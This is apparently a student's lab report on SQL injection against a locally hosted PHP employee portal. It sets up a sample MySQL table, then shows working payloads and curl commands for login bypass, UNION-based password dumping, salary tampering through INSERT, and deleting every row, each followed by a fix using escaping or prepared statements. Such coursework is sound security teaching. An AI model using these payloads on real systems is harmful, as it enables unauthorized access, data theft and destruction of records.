

Praneesh R V
CB.SC.U4CYS23036

Importing the DB

```

Sem7 > WebAppSec > sql> setup.sql
1  DROP DATABASE IF EXISTS dbtest;
2  CREATE DATABASE dbtest;
3  USE dbtest;
4
5  CREATE TABLE employee (
6      ID      INT(6)      NOT NULL AUTO_INCREMENT,
7      Name    VARCHAR(30) NOT NULL,
8      EID     VARCHAR(7)  NOT NULL,
9      Password VARCHAR(60),
10     Salary  INT(10),
11     SSN     VARCHAR(11),
12     PRIMARY KEY (ID)
13 );
14
15 INSERT INTO employee (Name, EID, Password, Salary, SSN) VALUES
16 ('Alice', 'EID5000', 'paswd123', 80000, '555-55-5555'),
17 ('Bob', 'EID5001', 'paswd123', 80000, '555-66-5555'),
18 ('Charlie', 'EID5002', 'paswd123', 80000, '555-77-5555'),
19 ('David', 'EID5003', 'paswd123', 80000, '555-88-5555');
20

```

```
✔ Import has been successfully finished, 5 queries executed. (setup sql)

✔ MySQL returned an empty result set (i.e. zero rows). (Query took 0.0004 seconds.)
DROP DATABASE IF EXISTS dbtest;
[ Edit inline ] [ Edit ] [ Create PHP code ]

⚠ Note: #1008 Can't drop database 'dbtest'; database doesn't exist

✔ MySQL returned an empty result set (i.e. zero rows). (Query took 0.0017 seconds.)
CREATE DATABASE dbtest;
[ Edit inline ] [ Edit ] [ Create PHP code ]

⚠ Error: #1046 No database selected

✔ MySQL returned an empty result set (i.e. zero rows). (Query took 0.0004 seconds.)
USE dbtest;
[ Edit inline ] [ Edit ] [ Create PHP code ]

⚠ Error: #1046 No database selected

✔ MySQL returned an empty result set (i.e. zero rows). (Query took 0.0278 seconds.)
CREATE TABLE employee ( ID INT(6) NOT NULL AUTO_INCREMENT, Name VARCHAR(30) NOT NULL, EID VARCHAR(7) NOT NULL, Password VARCHAR(60), Salary INT(10), SSN VARCHAR(11),
PRIMARY KEY (ID) );
[ Edit inline ] [ Edit ] [ Create PHP code ]
```

Login.php:

Employee Portal

Sign in with your Employee ID

Employee ID

Password

SELECT COMMAND ATTACKS:

Attack 1 — Authentication bypass (log in as anyone, no password)

✓ Login successful. Welcome, **Charlie** (EID EID5002).

ID	Name	EID	Salary	SSN
3	Charlie	EID5002	80000	555-77-5555

```
Query executed [mode=vuln]:  
SELECT ID, Name, EID, Salary, SSN FROM employee WHERE EID = 'EID5002' AND Password  
= 'x'
```

Employee Portal

Sign in with your Employee ID

Employee ID

Password

Reason: logged in as Charlie without knowing his password. The ' closes the EID string, # comments out the whole AND Password=x check.

Attack 2 — Login without knowing *any* valid EID

✔ **Login successful.** Welcome, **Alice** (EID EID5000).
The query returned **4** records — you pulled more than your own row:

ID	Name	EID	Salary	SSN
1	Alice	EID5000	80000	555-55-5555
2	Bob	EID5001	80000	555-66-5555
3	Charlie	EID5002	80000	555-77-5555
4	David	EID5003	80000	555-88-5555

```
Query executed [mode=vuln]:  
SELECT ID, Name, EID, Salary, SSN FROM employee WHERE EID = 'a' OR 1=1 # AND Password = 'anything'
```

Employee Portal

Sign in with your Employee ID

Employee ID

Password

Reason: logged in as Alice (the first row) even though a isn't a real EID — the OR 1=1 makes the condition always true.

Attack 3 — Dump the entire table:

Same as Attack 2

Attack 4 — Steal all passwords (UNION injection):

✓ **Login successful.** Welcome, **paswd123** (EID EID5000).

The query returned **4** records — you pulled more than your own row:

ID	Name	EID	Salary	SSN
1	paswd123	EID5000	80000	555-55-5555
1	paswd123	EID5001	80000	555-66-5555
1	paswd123	EID5002	80000	555-77-5555
1	paswd123	EID5003	80000	555-88-5555

Query executed [mode=vuln]:

```
SELECT ID, Name, EID, Salary, SSN FROM employee WHERE EID = 'a' UNION SELECT 1,Password,EID,Salary,SSN FROM employee #' AND Password = 'anything'
```

Employee Portal

Sign in with your Employee ID

Employee ID

Password

Reason: the Name column now shows every user's password (paswd123). You bolted a second query onto the first and pulled a column that isn't even on the login form. This is the strongest one to screenshot.

Fixes for Attack 2:

Real_escape_string:

✖ Login failed. Invalid EID or password.

```
Query executed [mode=escape]:  
SELECT ID, Name, EID, Salary, SSN FROM employee WHERE EID = 'a\' OR 1=1 #' AND Password = 'anything'
```

Employee Portal

Sign in with your Employee ID

Employee ID

Password

Reason: login fails (the ' gets escaped , so its considered as a literal text)

Prepared Statement:

✖ Login failed. Invalid EID or password.

```
Query executed [mode=prepared]:  
PREPARED: SELECT ... WHERE EID=? AND Password=? [bound: EID='a' OR 1=1 #', Password  
='']
```

Employee Portal

Sign in with your Employee ID

Employee ID

Password

Reason: login fails(the input never parsed as SQL)

INSERT COMMAND ATTACKS:

Before Starting put this command (One cmd to run the server) :

```
C:\xampp\php\php.exe -S 127.0.0.1:8000 -t
```

```
C:\xampp\htdocs\sqli
```

(One cmd for attack simulation)

Attack 1 — Salary escalation (breakout + comment out rest of query) :

```
C:\Users\shyam>curl -sG "http://127.0.0.1:8000/insert.php" --data-urlencode "mode=vuln" --data-urlencode "Name=Mallory" --data-urlencode "EID=EID6001" --data-urlencode "Password=p', 999999, '111-11-1111'" -- "[mode=vuln] Name=<Mallory> EID=<EID6001> Password=<p', 999999, '111-11-1111'" -- > (app intends Salary=50000, SSN=000-00-0000)
SQL: INSERT INTO employee (Name, EID, Password, Salary, SSN) VALUES ('Mallory', 'EID6001', 'p', 999999, '111-11-1111')
-- ', 50000, '000-00-0000')
-> inserted 1 row (id 5)

C:\Users\shyam>
```

Command:

```
curl -sG "http://127.0.0.1:8000/insert.php" --data-urlencode "mode=vuln" -
-data-urlencode "Name=Mallory" --data-urlencode "EID=EID6001" --data-
urlencode "Password=p', 999999, '111-11-1111'" -- "
```

Reason: closes the Password string early with ', injects our own Salary=999999 and SSN values, then -- comments out the app's real values — so the attacker sets their own salary instead of the intended 50000.

Attack 2 — Data exfiltration via concatenated subquery :

```
C:\Users\shyam>curl -sG "http://127.0.0.1:8000/insert.php" --data-urlencode "mode=vuln" --data-urlencode "Name=Trudy" --data-urlencode "EID=EID6004" --data-urlencode "Password=x'|(SELECT database())||'" "[mode=vuln] Name=<Trudy> EID=<EID6004> Password=<x'|(SELECT database())||'" -- > (app intends Salary=50000, SSN=000-00-0000)
SQL: INSERT INTO employee (Name, EID, Password, Salary, SSN) VALUES ('Trudy', 'EID6004', 'x'|(SELECT database())||', 50000, '000-00-0000')
-> inserted 1 row (id 6)

C:\Users\shyam>
```

Command:

```
curl -sG "http://127.0.0.1:8000/insert.php" --data-urlencode "mode=vuln" -  
-data-urlencode "Name=Trudy" --data-urlencode "EID=EID6004" --data-  
urlencode "Password=x'||(SELECT database())||'"
```

Reason:

pulls the current database name into the stored password field — proves arbitrary subquery execution/data exfiltration without touching the employee table itself.

Fix:

Prepared Statement:

```
C:\Users\shyam>curl -sG "http://127.0.0.1:8000/insert.php" --data-urlencode "mode=prepared" --data-urlencode "Name=Mallory3" --data-urlencode "EID=EID6003" --data-urlencode "Password=p', 999999, '111-11-1111'" -- " [mode=prepared] Name=<Mallory3> EID=<EID6003> Password=<p', 999999, '111-11-1111'" -- > (app intends Salary=50000, SSN=000-00-0000)  
-> inserted 1 row (id 7)  
C:\Users\shyam>
```

Command:

```
curl -sG "http://127.0.0.1:8000/insert.php" --data-urlencode  
"mode=prepared" --data-urlencode "Name=Mallory3" --data-urlencode  
"EID=EID6003" --data-urlencode "Password=p', 999999, '111-11-1111'" -- "
```

Reason: with `bind_param`, the payload is treated as literal string data, never as SQL syntax — so it's stored verbatim as the password text, and Salary stays 50000 as intended.

DELETE COMMAND ATTACKS:

Attack 1 — Delete another user without their password:

```
C:\Users\shyam>curl -sG "http://127.0.0.1:8000/delete.php" --data-urlencode "mode=vuln" --data-urlencode "EID=EID5001" -- " --data-urlencode "Password=wrong"  
[mode=vuln] EID=<EID5001' -- > Password=<wrong>  
SQL: DELETE FROM employee WHERE EID = 'EID5001' -- ' AND Password = 'wrong'  
-> rows deleted: 1
```

Command:

```
curl -sG "http://127.0.0.1:8000/delete.php" --data-urlencode "mode=vuln"
--data-urlencode "EID=EID5001" -- " --data-urlencode "Password=wrong"
```

Reason:

-- comments out the AND Password = '...' clause, so Bob (EID5001) gets deleted with any/no valid password.

Attack 2 — Wipe entire table:

```
C:\Users\shyam>curl -sG "http://127.0.0.1:8000/delete.php" --data-urlencode "mode=vuln" --data-urlencode "EID=x' OR 1=1
#" --data-urlencode "Password=wrong"
[mode=vuln] EID=<x' OR 1=1 #> Password=<wrong>
SQL: DELETE FROM employee WHERE EID = 'x' OR 1=1 #' AND Password = 'wrong'
-> rows deleted: 6
C:\Users\shyam>
```

Command:

```
curl -sG "http://127.0.0.1:8000/delete.php" --data-urlencode "mode=vuln"
--data-urlencode "EID=x' OR 1=1 #" --data-urlencode "Password=wrong"
```

Reason:

OR 1=1 makes the WHERE clause true for every row, so every employee record gets deleted regardless of EID/password.

Fix — Prepared statement:

```
C:\Users\shyam>curl -sG "http://127.0.0.1:8000/delete.php" --data-urlencode "mode=prepared" --data-urlencode "EID=x' OR
1=1 #" --data-urlencode "Password=wrong"
[mode=prepared] EID=<x' OR 1=1 #> Password=<wrong>
-> rows deleted: 0
C:\Users\shyam>
```

Command:

```
curl -sG "http://127.0.0.1:8000/delete.php" --data-urlencode
"mode=prepared" --data-urlencode "EID=x' OR 1=1 #" --data-urlencode
"Password=wrong"
```

Reason: the ', OR 1=1, and # are bound as plain data to compare against, not parsed as SQL — no row matches, so 0 rows are deleted and the table stays intact.

